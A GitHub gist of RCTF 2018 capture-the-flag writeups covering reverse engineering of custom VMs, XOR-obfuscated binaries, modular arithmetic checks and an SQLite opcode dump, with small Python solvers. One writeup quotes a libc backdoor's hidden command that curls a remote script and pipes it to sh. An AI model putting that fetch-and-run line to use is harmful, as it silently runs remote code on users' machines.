Skip to content

Instantly share code, notes, and snippets.

@vient
Last active May 21, 2018 21:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vient/299354af587e8b737b08adc548aa68bc to your computer and use it in GitHub Desktop.
Save vient/299354af587e8b737b08adc548aa68bc to your computer and use it in GitHub Desktop.
RCTF 2018 writeups

Binary file is encrypting string by using a function on each char that produces int (as seen in sub_80488E0, sub_804868B). This encryption is not chained so we can pass every character to binary, get them encrypted and use them as reference to decode out file.

Binary gets input and splits it in 8-byte chunks. After that each chunk is thinked of as 8-byte integer (__int64), chunk is multiplied by different numbers (which form the string Welcome to RCTF 2018! Here is a BabyRE challenge for you. Results should be equal to numbers in binary.

Basically, process is INPUT * A mod M == X, M = 0xFFFFFFFFFFFFFFC5. We can get INPUT by making X * A^(-1) mod M.

Given file is ISO with Arch Linux LiveCD. When booted up it greets us with words about installed gcc. There is an image in home directory which has hidden not hint file, which provides no hints.

First part is compiling provided helloworld.c with provided gcc and running it. After several seconds a file named rctf_backdoor.txt occured in the same directory. Its presence gives us a hint about backdoorn in compiled binary, i.e. backdoor is either in gcc or in libc. Actually it is in libc. Backdoor is placed in __libc_start_main. It checks for attached tracer, if no tracer is present, it executes command bash -c \"curl -o- http://backdoor.2018.teamrois.cn/control.sh 2>/dev/null | sh >/dev/null 2>/dev/null\". After that some strange computations are done and two hints are copied in local variable (and not shown). In debugger we can see that these computations produce string RCTF{Welcome. Seems that first part is done.

In second part, we are given a hint, try flag command. Since which flag shows nothing, it seems like built-in in bash. Indeed, bash looks recompiled and we can find flag_builtin function in it, as well as two other built-ins, queen and prince. They are pretty simple, they all output some strings and logic is not interesting. Strings are encrypted (XOR 3), after decrypting them we can see rather interesting strings in flag built-in:

.rodata:0000000000586BD8    00000034    C    Look at here, I stole this from the queen's pocket!
.rodata:0000000000586CA0    0000005C    C    \"The hashes of remaining flag is: 13340610174042144018, 95741437967718225, 484886919005526\"
.rodata:0000000000586D68    0000004E    C    \"The flag is [part1, plain(hash1), plain(hash2), plain(hash3), '}').join('')\"
.rodata:0000000000586E30    0000004B    C    I know the queen hijacked me by a function which used this hash algorithm!

Also in same function is line add_alias("flag", "queen");, looks like mentioned queen hijacking. alias uses hashing internally, the algorithm is:

    for ( i = 0LL; (_BYTE)v4; v4 = *v5 )
    {
      ++v5;
      i = v4 ^ 139 * i;
    }

We can reverse given hashes by bruteforcing a character and looking if H ^ c == 0 mod 139. It gives us a part _no_seAms_NoR_nEeDlework.

The whole flag is RCTF{Without_no_seAms_NoR_nEeDlework}.

We are given a git repository. We can find every file that was in repository in folder .git/objects, they are compressed using zlib. After decompressing them one by one we can find a flag in one of them.

After a bit of reverse engineering we can find interesting activity in init and fini functions. In function sub_402268 we see an activity that checks current time. It does it by using current time as seed for random, XORing an array og 256 bytes with rand() and using them as path weights in shortest path find algorithm. If found path length is 0x700, the time is considered good. Also the time should be in range [0x5AFFE790, 0x5B028A90). The only good time in that range is 0x5b00e398, the found path is 841803684. This path number is used as XOR key to decrypt different strings.

Input is encrypted with RC4 with path number as key. After that a function that looks like virtual machine is executed. It looks like this:

INIT:                   FLAG = &unk_405320
INIT:                   INPUT = &input

0000:   AB 03 00        i = 0
0003:   AB 04 1A        total = 0x1A
0006:   AB 00 66        key = 0x66

0009:   AA 05 02        F = INPUT
000C:   A9 53           F += i
000E:   A0 05           F = *F
0010:   AB 06 CC        G = 0xCC
0013:   A9 56           F += G
0015:   AB 06 FF        G = 0xFF
0018:   AC 56           F &= G
001A:   AE 50           F ^= key
001C:   AD 00           key = ~key
001E:   AA 06 05        G = F
0021:   AA 05 01        F = FLAG
0024:   A9 53           F += i
0026:   A0 05           F = *F
0028:   AF 56 00        F = F == G
002B:   A7 01           if F goto 002E
002D:   CC              HALT
002E:   A9 35           i += F
0030:   AA 05 03        F = i
0033:   AF 54 00        F = F == total
0036:   A6 D1           if !F goto 0009
0038:   CC              HALT

Basically it xores each byte with either 0xCC or 0x33 and adds 0xCC. We can reverse this process and get flag part @ck_For_fun_02508iO2_2iOR} The whole flag is rctf{h@ck_For_fun_02508iO2_2iOR}.

RCTF{WelCOme_To_RCTF} can be found in binary strings.

Given ELF file is not valid. It looks like a part of it is XORed with 0xCC. After XORing it again it looks like valid x86 code. The only invalid thing is entry point which is not important.

Binary is obfuscated a bit, we can find validation logic in sub_401482 (after repairing it). The file checking logic looks very similar to babyre2, parts of flag are interpreted as integers, multiplied to another integers over field and compared with known values. We can easily reverse them. There is another check, it takes 4 bytes and takes them in power of next 2 bytes. We can guess possible values of these bytes from previous part and easily brute-force them using this check:

for c in itertools.product('Ee3','Cc[<','Hh#','Nn','Ii1!', string.letters + string.digits):
    c = ''.join(c)
    x, y = struct.unpack('<IH', c)
    if pow(x, y, 0xF64BB17D) == 0x6F82C8DC:
        print c

After that we get the flag, RCTF{5o_M@ny_an7i_Rev3rsing_Techn!qu3s}.

Binary implements a pretty simple virtual machine. Disassembled program is:

0000:   JMP 0030

0030:   B = 0x100
0035:   B++
0036:   A = BYTE mem[B]
0037:   putchar(A)
0038:   if mem[0100]: mem[0100]--, jmp 0035

0041:   66
0042:   B = 0x110
0047:   B++
0048:   A = getchar()
0049:   66
004A:   mem[B] = BYTE A
004B:   if mem[0110]: mem[0110]--, jmp 0047

0054:   66
0055:   A = BYTE mem[0140]      // 00000020
005A:   B = A
005B:   A += 000000F1           // 00000111 - input
0060:   A = BYTE mem[A]
0061:   mem[0143] = BYTE A      // mem[0143] = c
0066:   A = NAND(A, B)
0067:   mem[0141] = BYTE A      // mem[0141] = NAND(i + 0x20, c)
006C:   B = A
006D:   A = BYTE mem[0140]
0072:   A = NAND(A, B)          // NAND(i + 0x20, NAND(i + 0x20, c))
0073:   mem[0142] = BYTE A
0078:   A = BYTE mem[0141]
007D:   A = BYTE mem[0143]
0082:   A = NAND(A, B)          // NAND(NAND(i + 0x20, c), c)
0083:   B = A
0084:   A = BYTE mem[0142]
0089:   A = NAND(A, B)          // NAND(NAND(NAND(i + 0x20, c), c), NAND(i + 0x20, NAND(i + 0x20, c)))
008A:   mem[0144] = BYTE A
008F:   66
0090:   A = BYTE mem[0140]
0095:   A += 000000F1           // 00000111 - input
009A:   B = A
009B:   A = BYTE mem[0144]
00A0:   mem[B] = BYTE A
00A1:   B = BYTE mem[0140]
00A6:   B++
00A7:   mem[0140] = BYTE B
00AC:   if mem[0145]: mem[0145]--, jmp 0055

00B5:   66
00B6:   A = BYTE mem[0146]
00BB:   A += 5
00C0:   A = BYTE mem[A]
00C1:   B = A
00C2:   A = BYTE mem[0146]
00C7:   A += 0111               // base 0130
00CC:   A = BYTE mem[A]
00CD:   A -= B
00CE:   if A jmp 0160

So the input is encrypted and compared with known values. Solving script is:

#!/usr/bin/env python3

def nand(a, b):
    return (~(a & b)) & 0xFFFFFFFF

def main():
    with open('p.bin', 'rb') as f:
        q = f.read()
    enc = q[5:][:0x20]
    for i in range(len(enc)):
        e = enc[i]
        for j in range(128):
            if nand(nand(nand(i + 0x20, j), j), nand(i + 0x20, nand(i + 0x20, j))) == e:
                print(chr(j))
                break
        else:
            print('[!] no solution for pos {}: {}'.format(i, e))

if __name__ == '__main__':
    main()

We are given with sqlite explain output which is a dump of internal sqlite VM opcodes used to perform given query. In lines like 101|String8|0|9|0|a|00| fourth part 9 is this string "ID". In lines like 57|Ne|17|90|1||6a| third part 17 is also string ID, this string should be here. In fragments like this:

115|Integer|18|29|0||00|
116|Integer|1|30|0||00|

third part of first string is position in flag. Second line is irrelevant. From Ne opcodes we build a string farg_fr_}al_laqregesosel_v{f, after reversing it using given indices we get flag{lqs_rof_galf_esrever_a}.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment